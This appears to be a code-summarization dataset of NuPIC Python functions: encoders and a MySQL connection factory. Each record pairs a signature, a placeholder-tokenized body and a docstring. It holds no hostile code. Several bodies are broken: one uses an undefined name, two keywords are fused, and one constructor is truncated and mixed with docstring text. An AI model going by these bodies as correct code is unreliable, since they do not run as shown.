{"signature": "def closenessScores(self, expValues, actValues, fractional=True):", "body": "expValue = expValues[<NUM_LIT:0>]<EOL>actValue = actValues[<NUM_LIT:0>]<EOL>if self.periodic:<EOL><INDENT>expValue = expValue % self.maxval<EOL>actValue = actValue % self.maxval<EOL><DEDENT>err = abs(expValue - actValue)<EOL>if self.periodic:<EOL><INDENT>err = min(err, self.maxval - err)<EOL><DEDENT>if fractional:<EOL><INDENT>pctErr = float(err) / (self.maxval - self.minval)<EOL>pctErr = min(<NUM_LIT:1.0>, pctErr)<EOL>closeness = <NUM_LIT:1.0> - pctErr<EOL><DEDENT>else:<EOL><INDENT>closeness = err<EOL><DEDENT>return numpy.array([closeness])<EOL>", "docstring": "See the function description in base.py", "id": "f17548:c0:m16"}
{"signature": "def __init__(self, w, minval=None, maxval=None, periodic=False, n=<NUM_LIT:0>, radius=<NUM_LIT:0>,<EOL>resolution=<NUM_LIT:0>, name=None, verbosity=<NUM_LIT:0>, clipInput=True, forced=False):", "body": "self._learningEnabled = True<EOL>self._stateLock = False<EOL>self.width = <NUM_LIT:0><EOL>self.encoders = None<EOL>self.description = []<EOL>self.name = name<EOL>if periodic:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>assert n!=<NUM_LIT:0>           <EOL>self._adaptiveScalarEnc = AdaptiveScalarEncoder(w=w, n=n, minval=minval,<EOL>maxval=maxval, clipInput=True, name=name, verbosity=verbosity, forced=forced)<EOL>self.width+=self._adaptiveScalarEnc.getWidth()<EOL>self.n = self._adaptiveScalarEnc.n<EOL>self._prevAbsolute = None    <EOL>self._prevDelta = None<EOL>", "docstring": "[ScalarEncoder class method override]", "id": "f17549:c0:m0"}
{"signature": "def topDownCompute(self, encoded):", "body": "<EOL>if self._prevAbsolute==None or self._prevDelta==None:<EOL><INDENT>return [EncoderResult(value=<NUM_LIT:0>, scalar=<NUM_LIT:0>,<EOL>encoding=numpy.zeros(self.n))]<EOL><DEDENT>ret = self._adaptiveScalarEnc.topDownCompute(encoded)<EOL>if self._prevAbsolute != None:<EOL><INDENT>ret = [EncoderResult(value=ret[<NUM_LIT:0>].value+self._prevAbsolute,<EOL>scalar=ret[<NUM_LIT:0>].scalar+self._prevAbsolute,<EOL>encoding=ret[<NUM_LIT:0>].encoding)]<EOL><DEDENT>et[<NUM_LIT:0>].value+=self._prevAbsolute<EOL>et[<NUM_LIT:0>].scalar+=self._prevAbsolute<EOL>return ret<EOL>", "docstring": "[ScalarEncoder class method override]", "id": "f17549:c0:m6"}
{"signature": "def bitsToString(arr):", "body": "s = array('<STR_LIT:c>','<STR_LIT:.>'*len(arr))<EOL>for i in xrange(len(arr)):<EOL><INDENT>if arr[i] == <NUM_LIT:1>:<EOL><INDENT>s[i]='<STR_LIT:*>'<EOL><DEDENT><DEDENT>return s<EOL>", "docstring": "Returns a string representing a numpy array of 0's and 1's", "id": "f17550:m0"}
{"signature": "def _seed(self, seed=-<NUM_LIT:1>):", "body": "if seed != -<NUM_LIT:1>:<EOL><INDENT>self.random = NupicRandom(seed)<EOL><DEDENT>else:<EOL><INDENT>self.random = NupicRandom()<EOL><DEDENT>", "docstring": "Initialize the random seed", "id": "f17551:c0:m3"}
{"signature": "def getDecoderOutputFieldTypes(self):", "body": "<EOL>return (FieldMetaType.string,)<EOL>", "docstring": "[Encoder class virtual method override]", "id": "f17551:c0:m4"}
{"signature": "def _newRep(self):", "body": "maxAttempts = <NUM_LIT:1000><EOL>for _ in range(maxAttempts):<EOL><INDENT>foundUnique = True<EOL>population = numpy.arange(self.n, dtype=numpy.uint32)<EOL>choices = numpy.arange(self.w, dtype=numpy.uint32)<EOL>oneBits = sorted(self.random.sample(population, choices))<EOL>sdr =  numpy.zeros(self.n, dtype='<STR_LIT>')<EOL>sdr[oneBits] = <NUM_LIT:1><EOL>for i in range(self.ncategories):<EOL><INDENT>if (sdr == self.sdrs[i]).all():<EOL><INDENT>foundUnique = False<EOL>break<EOL><DEDENT><DEDENT>if foundUnique:<EOL><INDENT>break;<EOL><DEDENT><DEDENT>if not foundUnique:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (self.ncategories, maxAttempts))<EOL><DEDENT>return sdr<EOL>", "docstring": "Generate a new and unique representation. Returns a numpy array\n        of shape (n,).", "id": "f17551:c0:m6"}
{"signature": "def getScalars(self, input):", "body": "if input == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return numpy.array([<NUM_LIT:0>])<EOL><DEDENT>index = self.categoryToIndex.get(input, None)<EOL>if index is None:<EOL><INDENT>if self._learningEnabled:<EOL><INDENT>self._addCategory(input)<EOL>index = self.ncategories - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>index = <NUM_LIT:0><EOL><DEDENT><DEDENT>return numpy.array([index])<EOL>", "docstring": "See method description in base.py", "id": "f17551:c0:m9"}
{"signature": "def getBucketIndices(self, input):", "body": "<EOL>return self.getScalars(input)<EOL>", "docstring": "See method description in base.py", "id": "f17551:c0:m10"}
{"signature": "def decode(self, encoded, parentFieldName='<STR_LIT>'):", "body": "assert (encoded[<NUM_LIT:0>:self.n] <= <NUM_LIT:1.0>).all()<EOL>resultString =  \"<STR_LIT>\"<EOL>resultRanges = []<EOL>overlaps =  (self.sdrs * encoded[<NUM_LIT:0>:self.n]).sum(axis=<NUM_LIT:1>)<EOL>if self.verbosity >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>for i in range(<NUM_LIT:0>, self.ncategories):<EOL><INDENT>print(\"<STR_LIT>\" % (overlaps[i], self.categories[i]))<EOL><DEDENT><DEDENT>matchingCategories =  (overlaps > self.thresholdOverlap).nonzero()[<NUM_LIT:0>]<EOL>for index in matchingCategories:<EOL><INDENT>if resultString != \"<STR_LIT>\":<EOL><INDENT>resultString += \"<STR_LIT:U+0020>\"<EOL><DEDENT>resultString +=  str(self.categories[index])<EOL>resultRanges.append([int(index),int(index)])<EOL><DEDENT>if parentFieldName != '<STR_LIT>':<EOL><INDENT>fieldName = \"<STR_LIT>\" % (parentFieldName, self.name)<EOL><DEDENT>else:<EOL><INDENT>fieldName = self.name<EOL><DEDENT>return ({fieldName: (resultRanges, resultString)}, [fieldName])<EOL>", "docstring": "See the function description in base.py", "id": "f17551:c0:m12"}
{"signature": "def _getTopDownMapping(self):", "body": "<EOL>if self._topDownMappingM is None:<EOL><INDENT>self._topDownMappingM = SM32(self.ncategories, self.n)<EOL>outputSpace = numpy.zeros(self.n, dtype=GetNTAReal())<EOL>for i in range(self.ncategories):<EOL><INDENT>self.encodeIntoArray(self.categories[i], outputSpace)<EOL>self._topDownMappingM.setRowFromDense(i, outputSpace)<EOL><DEDENT><DEDENT>return self._topDownMappingM<EOL>", "docstring": "Return the interal _topDownMappingM matrix used for handling the\n        bucketInfo() and topDownCompute() methods. This is a matrix, one row per\n        category (bucket) where each row contains the encoded output for that\n        category.", "id": "f17551:c0:m13"}
{"signature": "def getBucketValues(self):", "body": "return self.categories<EOL>", "docstring": "See the function description in base.py", "id": "f17551:c0:m14"}
{"signature": "def getBucketInfo(self, buckets):", "body": "if self.ncategories==<NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>topDownMappingM = self._getTopDownMapping()<EOL>categoryIndex = buckets[<NUM_LIT:0>]<EOL>category = self.categories[categoryIndex]<EOL>encoding = topDownMappingM.getRow(categoryIndex)<EOL>return [EncoderResult(value=category, scalar=categoryIndex,<EOL>encoding=encoding)]<EOL>", "docstring": "See the function description in base.py", "id": "f17551:c0:m15"}
{"signature": "def topDownCompute(self, encoded):", "body": "if self.ncategories==<NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>topDownMappingM = self._getTopDownMapping()<EOL>categoryIndex = topDownMappingM.rightVecProd(encoded).argmax()<EOL>category = self.categories[categoryIndex]<EOL>encoding = topDownMappingM.getRow(categoryIndex)<EOL>return EncoderResult(value=category, scalar=categoryIndex, encoding=encoding)<EOL>", "docstring": "See the function description in base.py", "id": "f17551:c0:m16"}
{"signature": "def closenessScores(self, expValues, actValues, fractional=True):", "body": "expValue = expValues[<NUM_LIT:0>]<EOL>actValue = actValues[<NUM_LIT:0>]<EOL>if expValue == actValue:<EOL><INDENT>closeness = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>closeness = <NUM_LIT:0.0><EOL><DEDENT>if not fractional:<EOL><INDENT>closeness = <NUM_LIT:1.0> - closeness<EOL><DEDENT>return numpy.array([closeness])<EOL>", "docstring": "See the function description in base.py\n\n        kwargs will have the keyword \"fractional\", which is ignored by this encoder", "id": "f17551:c0:m17"}
{"signature": "def _seed(self, seed=-<NUM_LIT:1>):", "body": "if seed != -<NUM_LIT:1>:<EOL><INDENT>self.random = NupicRandom(seed)<EOL><DEDENT>else:<EOL><INDENT>self.random = NupicRandom()<EOL><DEDENT>", "docstring": "Initialize the random seed", "id": "f17552:c0:m2"}
{"signature": "def getDecoderOutputFieldTypes(self):", "body": "return (FieldMetaType.float, )<EOL>", "docstring": "See method description in base.py", "id": "f17552:c0:m3"}
{"signature": "def getWidth(self):", "body": "return self.n<EOL>", "docstring": "See method description in base.py", "id": "f17552:c0:m4"}
{"signature": "def getBucketIndices(self, x):", "body": "if ((isinstance(x, float) and math.isnan(x)) or<EOL>x == SENTINEL_VALUE_FOR_MISSING_DATA):<EOL><INDENT>return [None]<EOL><DEDENT>if self._offset is None:<EOL><INDENT>self._offset = x<EOL><DEDENT>bucketIdx = (<EOL>(self._maxBuckets/<NUM_LIT:2>) + int(round((x - self._offset) / self.resolution))<EOL>)<EOL>if bucketIdx < <NUM_LIT:0>:<EOL><INDENT>bucketIdx = <NUM_LIT:0><EOL><DEDENT>elif bucketIdx >= self._maxBuckets:<EOL><INDENT>bucketIdx = self._maxBuckets-<NUM_LIT:1><EOL><DEDENT>return [bucketIdx]<EOL>", "docstring": "See method description in base.py", "id": "f17552:c0:m6"}
{"signature": "def mapBucketIndexToNonZeroBits(self, index):", "body": "if index < <NUM_LIT:0>:<EOL><INDENT>index = <NUM_LIT:0><EOL><DEDENT>if index >= self._maxBuckets:<EOL><INDENT>index = self._maxBuckets-<NUM_LIT:1><EOL><DEDENT>if index not in self.bucketMap:<EOL><INDENT>if self.verbosity >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\", index)<EOL><DEDENT>self._createBucket(index)<EOL><DEDENT>return self.bucketMap[index]<EOL>", "docstring": "Given a bucket index, return the list of non-zero bits. If the bucket\nindex does not exist, it is created. If the index falls outside our range\nwe clip it.\n\n:param index The bucket index to get non-zero bits for.\n@returns numpy array of indices of non-zero bits for specified index.", "id": "f17552:c0:m7"}
{"signature": "def encodeIntoArray(self, x, output):", "body": "if x is not None and not isinstance(x, numbers.Number):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\" % type(x))<EOL><DEDENT>bucketIdx = self.getBucketIndices(x)[<NUM_LIT:0>]<EOL>output[<NUM_LIT:0>:self.n] = <NUM_LIT:0><EOL>if bucketIdx is not None:<EOL><INDENT>output[self.mapBucketIndexToNonZeroBits(bucketIdx)] = <NUM_LIT:1><EOL><DEDENT>", "docstring": "See method description in base.py", "id": "f17552:c0:m8"}
{"signature": "def _createBucket(self, index):", "body": "if index < self.minIndex:<EOL><INDENT>if index == self.minIndex - <NUM_LIT:1>:<EOL><INDENT>self.bucketMap[index] = self._newRepresentation(self.minIndex,<EOL>index)<EOL>self.minIndex = index<EOL><DEDENT>else:<EOL><INDENT>self._createBucket(index+<NUM_LIT:1>)<EOL>self._createBucket(index)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if index == self.maxIndex + <NUM_LIT:1>:<EOL><INDENT>self.bucketMap[index] = self._newRepresentation(self.maxIndex,<EOL>index)<EOL>self.maxIndex = index<EOL><DEDENT>else:<EOL><INDENT>self._createBucket(index-<NUM_LIT:1>)<EOL>self._createBucket(index)<EOL><DEDENT><DEDENT>", "docstring": "Create the given bucket index. Recursively create as many in-between\nbucket indices as necessary.", "id": "f17552:c0:m9"}
{"signature": "def _newRepresentation(self, index, newIndex):", "body": "newRepresentation = self.bucketMap[index].copy()<EOL>ri = newIndex % self.w<EOL>newBit = self.random.getUInt32(self.n)<EOL>newRepresentation[ri] = newBit<EOL>while newBit in self.bucketMap[index] ornot self._newRepresentationOK(newRepresentation, newIndex):<EOL><INDENT>self.numTries += <NUM_LIT:1><EOL>newBit = self.random.getUInt32(self.n)<EOL>newRepresentation[ri] = newBit<EOL><DEDENT>return newRepresentation<EOL>", "docstring": "Return a new representation for newIndex that overlaps with the\nrepresentation at index by exactly w-1 bits", "id": "f17552:c0:m10"}
{"signature": "def _newRepresentationOK(self, newRep, newIndex):", "body": "if newRep.size != self.w:<EOL><INDENT>return False<EOL><DEDENT>if (newIndex < self.minIndex-<NUM_LIT:1>) or (newIndex > self.maxIndex+<NUM_LIT:1>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>newRepBinary = numpy.array([False]*self.n)<EOL>newRepBinary[newRep] = True<EOL>midIdx = self._maxBuckets/<NUM_LIT:2><EOL>runningOverlap = self._countOverlap(self.bucketMap[self.minIndex], newRep)<EOL>if not self._overlapOK(self.minIndex, newIndex, overlap=runningOverlap):<EOL><INDENT>return False<EOL><DEDENT>for i in range(self.minIndex+<NUM_LIT:1>, midIdx+<NUM_LIT:1>):<EOL><INDENT>newBit = (i-<NUM_LIT:1>)%self.w<EOL>if newRepBinary[self.bucketMap[i-<NUM_LIT:1>][newBit]]:<EOL><INDENT>runningOverlap -= <NUM_LIT:1><EOL><DEDENT>if newRepBinary[self.bucketMap[i][newBit]]:<EOL><INDENT>runningOverlap += <NUM_LIT:1><EOL><DEDENT>if not self._overlapOK(i, newIndex, overlap=runningOverlap):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>for i in range(midIdx+<NUM_LIT:1>, self.maxIndex+<NUM_LIT:1>):<EOL><INDENT>newBit = i%self.w<EOL>if newRepBinary[self.bucketMap[i-<NUM_LIT:1>][newBit]]:<EOL><INDENT>runningOverlap -= <NUM_LIT:1><EOL><DEDENT>if newRepBinary[self.bucketMap[i][newBit]]:<EOL><INDENT>runningOverlap += <NUM_LIT:1><EOL><DEDENT>if not self._overlapOK(i, newIndex, overlap=runningOverlap):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Return True if this new candidate representation satisfies all our overlap\nrules. Since we know that neighboring representations differ by at most\none bit, we compute running overlaps.", "id": "f17552:c0:m11"}
{"signature": "def _countOverlapIndices(self, i, j):", "body": "if i in self.bucketMap and j in self.bucketMap:<EOL><INDENT>iRep = self.bucketMap[i]<EOL>jRep = self.bucketMap[j]<EOL>return self._countOverlap(iRep, jRep)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Return the overlap between bucket indices i and j", "id": "f17552:c0:m12"}
{"signature": "@staticmethod<EOL><INDENT>def _countOverlap(rep1, rep2):<DEDENT>", "body": "overlap = <NUM_LIT:0><EOL>for e in rep1:<EOL><INDENT>if e in rep2:<EOL><INDENT>overlap += <NUM_LIT:1><EOL><DEDENT><DEDENT>return overlap<EOL>", "docstring": "Return the overlap between two representations. rep1 and rep2 are lists of\nnon-zero indices.", "id": "f17552:c0:m13"}
{"signature": "def _overlapOK(self, i, j, overlap=None):", "body": "if overlap is None:<EOL><INDENT>overlap = self._countOverlapIndices(i, j)<EOL><DEDENT>if abs(i-j) < self.w:<EOL><INDENT>if overlap == (self.w - abs(i-j)):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if overlap <= self._maxOverlap:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>", "docstring": "Return True if the given overlap between bucket indices i and j are\nacceptable. If overlap is not specified, calculate it from the bucketMap", "id": "f17552:c0:m14"}
{"signature": "def _initializeBucketMap(self, maxBuckets, offset):", "body": "<EOL>self._maxBuckets = maxBuckets<EOL>self.minIndex = self._maxBuckets / <NUM_LIT:2><EOL>self.maxIndex = self._maxBuckets / <NUM_LIT:2><EOL>self._offset = offset<EOL>self.bucketMap = {}<EOL>def _permutation(n):<EOL><INDENT>r = numpy.arange(n, dtype=numpy.uint32)<EOL>self.random.shuffle(r)<EOL>return r<EOL><DEDENT>self.bucketMap[self.minIndex] = _permutation(self.n)[<NUM_LIT:0>:self.w]<EOL>self.numTries = <NUM_LIT:0><EOL>", "docstring": "Initialize the bucket map assuming the given number of maxBuckets.", "id": "f17552:c0:m15"}
{"signature": "def _setEncoderParams(self):", "body": "self.rangeInternal = float(self.maxval - self.minval)<EOL>self.resolution = float(self.rangeInternal) / (self.n - self.w)<EOL>self.radius = self.w * self.resolution<EOL>self.range = self.rangeInternal + self.resolution<EOL>self.nInternal = self.n - <NUM_LIT:2> * self.padding<EOL>self._bucketValues = None<EOL>", "docstring": "Set the radius, resolution and range. These values are updated when minval\nand/or maxval change.", "id": "f17553:c0:m1"}
{"signature": "def setFieldStats(self, fieldName, fieldStats):", "body": "<EOL>if fieldStats[fieldName]['<STR_LIT>'] == None orfieldStats[fieldName]['<STR_LIT>'] == None:<EOL><INDENT>return<EOL><DEDENT>self.minval = fieldStats[fieldName]['<STR_LIT>']<EOL>self.maxval = fieldStats[fieldName]['<STR_LIT>']<EOL>if self.minval == self.maxval:<EOL><INDENT>self.maxval+=<NUM_LIT:1><EOL><DEDENT>self._setEncoderParams()<EOL>", "docstring": "TODO: document", "id": "f17553:c0:m2"}
{"signature": "def _setMinAndMax(self, input, learn):", "body": "self.slidingWindow.next(input)<EOL>if self.minval is None and self.maxval is None:<EOL><INDENT>self.minval = input<EOL>self.maxval = input+<NUM_LIT:1>   <EOL>self._setEncoderParams()<EOL><DEDENT>elif learn:<EOL><INDENT>sorted = self.slidingWindow.getSlidingWindow()<EOL>sorted.sort()<EOL>minOverWindow = sorted[<NUM_LIT:0>]<EOL>maxOverWindow = sorted[len(sorted)-<NUM_LIT:1>]<EOL>if minOverWindow < self.minval:<EOL><INDENT>if self.verbosity >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\"% (self.name, input, self.minval, minOverWindow))<EOL><DEDENT>self.minval = minOverWindow       <EOL>self._setEncoderParams()<EOL><DEDENT>if maxOverWindow > self.maxval:<EOL><INDENT>if self.verbosity >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\"% (self.name, input, self.maxval, maxOverWindow))<EOL><DEDENT>self.maxval = maxOverWindow       <EOL>self._setEncoderParams()<EOL><DEDENT><DEDENT>", "docstring": "Potentially change the minval and maxval using input.\n**The learn flag is currently not supported by cla regions.**", "id": "f17553:c0:m3"}
{"signature": "def getBucketIndices(self, input, learn=None):", "body": "self.recordNum +=<NUM_LIT:1><EOL>if learn is None:<EOL><INDENT>learn = self._learningEnabled<EOL><DEDENT>if type(input) is float and math.isnan(input):<EOL><INDENT>input = SENTINEL_VALUE_FOR_MISSING_DATA<EOL><DEDENT>if input == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>return [None]<EOL><DEDENT>else:<EOL><INDENT>self._setMinAndMax(input, learn)<EOL>return super(AdaptiveScalarEncoder, self).getBucketIndices(input)<EOL><DEDENT>", "docstring": "[overrides nupic.encoders.scalar.ScalarEncoder.getBucketIndices]", "id": "f17553:c0:m4"}
{"signature": "def encodeIntoArray(self, input, output,learn=None):", "body": "self.recordNum +=<NUM_LIT:1><EOL>if learn is None:<EOL><INDENT>learn = self._learningEnabled<EOL><DEDENT>if input == SENTINEL_VALUE_FOR_MISSING_DATA:<EOL><INDENT>output[<NUM_LIT:0>:self.n] = <NUM_LIT:0><EOL><DEDENT>elif not math.isnan(input):<EOL><INDENT>self._setMinAndMax(input, learn)<EOL><DEDENT>super(AdaptiveScalarEncoder, self).encodeIntoArray(input, output)<EOL>", "docstring": "[overrides nupic.encoders.scalar.ScalarEncoder.encodeIntoArray]", "id": "f17553:c0:m5"}
{"signature": "def getBucketInfo(self, buckets):", "body": "if self.minval is None or self.maxval is None:<EOL><INDENT>return [EncoderResult(value=<NUM_LIT:0>, scalar=<NUM_LIT:0>,<EOL>encoding=numpy.zeros(self.n))]<EOL><DEDENT>return super(AdaptiveScalarEncoder, self).getBucketInfo(buckets)<EOL>", "docstring": "[overrides nupic.encoders.scalar.ScalarEncoder.getBucketInfo]", "id": "f17553:c0:m6"}
{"signature": "def topDownCompute(self, encoded):", "body": "if self.minval is None or self.maxval is None:<EOL><INDENT>return [EncoderResult(value=<NUM_LIT:0>, scalar=<NUM_LIT:0>,<EOL>encoding=numpy.zeros(self.n))]<EOL><DEDENT>return super(AdaptiveScalarEncoder, self).topDownCompute(encoded)<EOL>", "docstring": "[overrides nupic.encoders.scalar.ScalarEncoder.topDownCompute]", "id": "f17553:c0:m7"}
{"signature": "def enableConcurrencyChecks(maxConcurrency, raiseException=True):", "body": "global g_max_concurrency, g_max_concurrency_raise_exception<EOL>assert maxConcurrency >= <NUM_LIT:0><EOL>g_max_concurrency = maxConcurrency<EOL>g_max_concurrency_raise_exception = raiseException<EOL>return<EOL>", "docstring": "Enable the diagnostic feature for debugging unexpected concurrency in\n    acquiring ConnectionWrapper instances.\n\n    NOTE: This MUST be done early in your application's execution, BEFORE any\n    accesses to ConnectionFactory or connection policies from your application\n    (including imports and sub-imports of your app).\n\n    Parameters:\n    ----------------------------------------------------------------\n    maxConcurrency:   A non-negative integer that represents the maximum expected\n                        number of outstanding connections.  When this value is\n                        exceeded, useful information will be logged and, depending\n                        on the value of the raiseException arg,\n                        ConcurrencyExceededError may be raised.\n    raiseException:   If true, ConcurrencyExceededError will be raised when\n                        maxConcurrency is exceeded.", "id": "f17554:m0"}
{"signature": "def _getCommonSteadyDBArgsDict():", "body": "return dict(<EOL>creator = pymysql,<EOL>host = Configuration.get('<STR_LIT>'),<EOL>port = int(Configuration.get('<STR_LIT>')),<EOL>user = Configuration.get('<STR_LIT>'),<EOL>passwd = Configuration.get('<STR_LIT>'),<EOL>charset = '<STR_LIT:utf8>',<EOL>use_unicode = True,<EOL>setsession = ['<STR_LIT>'])<EOL>", "docstring": "Returns a dictionary of arguments for DBUtils.SteadyDB.SteadyDBConnection\n    constructor.", "id": "f17554:m2"}
{"signature": "def _getLogger(cls, logLevel=None):", "body": "logger = logging.getLogger(<EOL>\"<STR_LIT:.>\".join(['<STR_LIT>', _MODULE_NAME, cls.__name__]))<EOL>if logLevel is not None:<EOL><INDENT>logger.setLevel(logLevel)<EOL><DEDENT>return logger<EOL>", "docstring": "Gets a logger for the given class in this module", "id": "f17554:m3"}
{"signature": "@classmethod<EOL><INDENT>def get(cls):<DEDENT>", "body": "if cls._connectionPolicy is None:<EOL><INDENT>logger = _getLogger(cls)<EOL>logger.info(\"<STR_LIT>\",<EOL>cls._connectionPolicyInstanceProvider)<EOL>cls._connectionPolicy = cls._connectionPolicyInstanceProvider()<EOL>logger.debug(\"<STR_LIT>\", cls._connectionPolicy)<EOL><DEDENT>return cls._connectionPolicy.acquireConnection()<EOL>", "docstring": "Acquire a ConnectionWrapper instance that represents a connection\n        to the SQL server per nupic.cluster.database.* configuration settings.\n\n        NOTE: caller is responsible for calling the ConnectionWrapper instance's\n        release() method after using the connection in order to release resources.\n        Better yet, use the returned ConnectionWrapper instance in a Context Manager\n        statement for automatic invocation of release():\n        Example:\n            # If using Jython 2.5.x, first import with_statement at the very top of\n            your script (don't need this import for Jython/Python 2.6.x and later):\n            from __future__ import with_statement\n            # Then:\n            from nupic.database.Connection import ConnectionFactory\n            # Then use it like this\n            with ConnectionFactory.get() as conn:\n              conn.cursor.execute(\"SELECT ...\")\n              conn.cursor.fetchall()\n              conn.cursor.execute(\"INSERT ...\")\n\n        WARNING: DO NOT close the underlying connection or cursor as it may be\n        shared by other modules in your process.  ConnectionWrapper's release()\n        method will do the right thing.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:       A ConnectionWrapper instance. NOTE: Caller is responsible\n                        for releasing resources as described above.", "id": "f17554:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def close(cls):<DEDENT>", "body": "if cls._connectionPolicy is not None:<EOL><INDENT>cls._connectionPolicy.close()<EOL>cls._connectionPolicy = None<EOL><DEDENT>return<EOL>", "docstring": "Close ConnectionFactory's connection policy. Typically, there is no need\n        to call this method as the system will automatically close the connections\n        when the process exits.\n\n        NOTE: This method should be used with CAUTION. It is designed to be\n        called ONLY by the code responsible for startup and shutdown of the process\n        since it closes the connection(s) used by ALL clients in this process.", "id": "f17554:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def setConnectionPolicyProvider(cls, provider):<DEDENT>", "body": "cls._connectionPolicyInstanceProvider = provider<EOL>return<EOL>", "docstring": "Set the method for ConnectionFactory to use when it needs to\n        instantiate its database connection policy.\n\n        NOTE: This method should be used with CAUTION. ConnectionFactory's default\n        behavior should be adequate for all NuPIC code, and this method is provided\n        primarily for diagnostics. It is designed to only be called by the code\n        responsible for startup of the process since the provider method has no\n        impact after ConnectionFactory's connection policy instance is instantiated.\n\n        See ConnectionFactory._createDefaultPolicy\n\n        Parameters:\n        ----------------------------------------------------------------\n        provider:     The method that instantiates the singleton database\n                      connection policy to be used by ConnectionFactory class.\n                      The method must be compatible with the following signature:\n                        <DatabaseConnectionPolicyIface subclass instance> provider()", "id": "f17554:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def _createDefaultPolicy(cls):<DEDENT>", "body": "logger = _getLogger(cls)<EOL>logger.debug(<EOL>\"<STR_LIT>\",<EOL>platform.system(), pymysql.VERSION)<EOL>if platform.system() == \"<STR_LIT>\":<EOL><INDENT>policy = SingleSharedConnectionPolicy()<EOL><DEDENT>else:<EOL><INDENT>policy = PooledConnectionPolicy()<EOL><DEDENT>return policy<EOL>", "docstring": "[private] Create the default database connection policy instance\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:            The default database connection policy instance", "id": "f17554:c1:m3"}
{"signature": "def __init__(self, dbConn, cursor, releaser, logger):", "body": "global g_max_concurrency<EOL>try:<EOL><INDENT>self._logger = logger<EOL>self.dbConn = dbConn<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>self.cursor = cursor<EOL>\"\"\"<STR_LIT>\"\"\" True if we added self to _clsOutstandingInstances \"\"\"<STR_LIT>\"\"\" Instance creation traceback string (if g_max_concurrency is enabled)", "docstring": "Parameters:\n----------------------------------------------------------------\ndbConn:         the underlying database connection instance\ncursor:         database cursor\nreleaser:       a method to call to release the connection and cursor;\n                  method signature:\n                    None dbConnReleaser(dbConn, cursor)", "id": "f17554:c2:m0"}
{"signature": "def __enter__(self):", "body": "return self<EOL>", "docstring": "[Context Manager protocol method] Permit a ConnectionWrapper instance\n        to be used in a context manager expression (with ... as:) to facilitate\n        robust release of resources (instead of try:/finally:/release()).  See\n        examples in ConnectionFactory docstring.", "id": "f17554:c2:m2"}
{"signature": "def __exit__(self, exc_type, exc_val, exc_tb):", "body": "self.release()<EOL>return False<EOL>", "docstring": "[Context Manager protocol method] Release resources.", "id": "f17554:c2:m3"}
{"signature": "def release(self):", "body": "self._logger.debug(\"<STR_LIT>\", self)<EOL>if self._addedToInstanceSet:<EOL><INDENT>try:<EOL><INDENT>self._clsOutstandingInstances.remove(self)<EOL><DEDENT>except:<EOL><INDENT>self._logger.exception(<EOL>\"<STR_LIT>\", self)<EOL>raise<EOL><DEDENT><DEDENT>self._releaser(dbConn=self.dbConn, cursor=self.cursor)<EOL>self.__class__._clsNumOutstanding -= <NUM_LIT:1><EOL>assert self._clsNumOutstanding >= <NUM_LIT:0>,\"<STR_LIT>\" % (self._clsNumOutstanding,)<EOL>self._releaser = None<EOL>self.cursor = None<EOL>self.dbConn = None<EOL>self._creationTracebackString = None<EOL>self._addedToInstanceSet = False<EOL>self._logger = None<EOL>return<EOL>", "docstring": "Release the database connection and cursor\n\n        The receiver of the Connection instance MUST call this method in order\n        to reclaim resources", "id": "f17554:c2:m4"}
{"signature": "def _trackInstanceAndCheckForConcurrencyViolation(self):", "body": "global g_max_concurrency, g_max_concurrency_raise_exception<EOL>assert g_max_concurrency is not None<EOL>assert self not in self._clsOutstandingInstances, repr(self)<EOL>self._creationTracebackString = traceback.format_stack()<EOL>if self._clsNumOutstanding >= g_max_concurrency:<EOL><INDENT>errorMsg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (<EOL>self._clsNumOutstanding, g_max_concurrency, self,<EOL>len(self._clsOutstandingInstances), self._clsOutstandingInstances,)<EOL>self._logger.error(errorMsg)<EOL>if g_max_concurrency_raise_exception:<EOL><INDENT>raise ConcurrencyExceededError(errorMsg)<EOL><DEDENT><DEDENT>self._clsOutstandingInstances.add(self)<EOL>self._addedToInstanceSet = True<EOL>return<EOL>", "docstring": "Check for concurrency violation and add self to\n        _clsOutstandingInstances.\n\n        ASSUMPTION: Called from constructor BEFORE _clsNumOutstanding is\n        incremented", "id": "f17554:c2:m5"}
{"signature": "def close(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Close the policy instance and its shared database connection.", "id": "f17554:c3:m0"}
{"signature": "def acquireConnection(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Get a Connection instance.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:       A ConnectionWrapper instance.\n                        Caller is responsible for calling the  ConnectionWrapper\n                        instance's release() method to release resources.", "id": "f17554:c3:m1"}
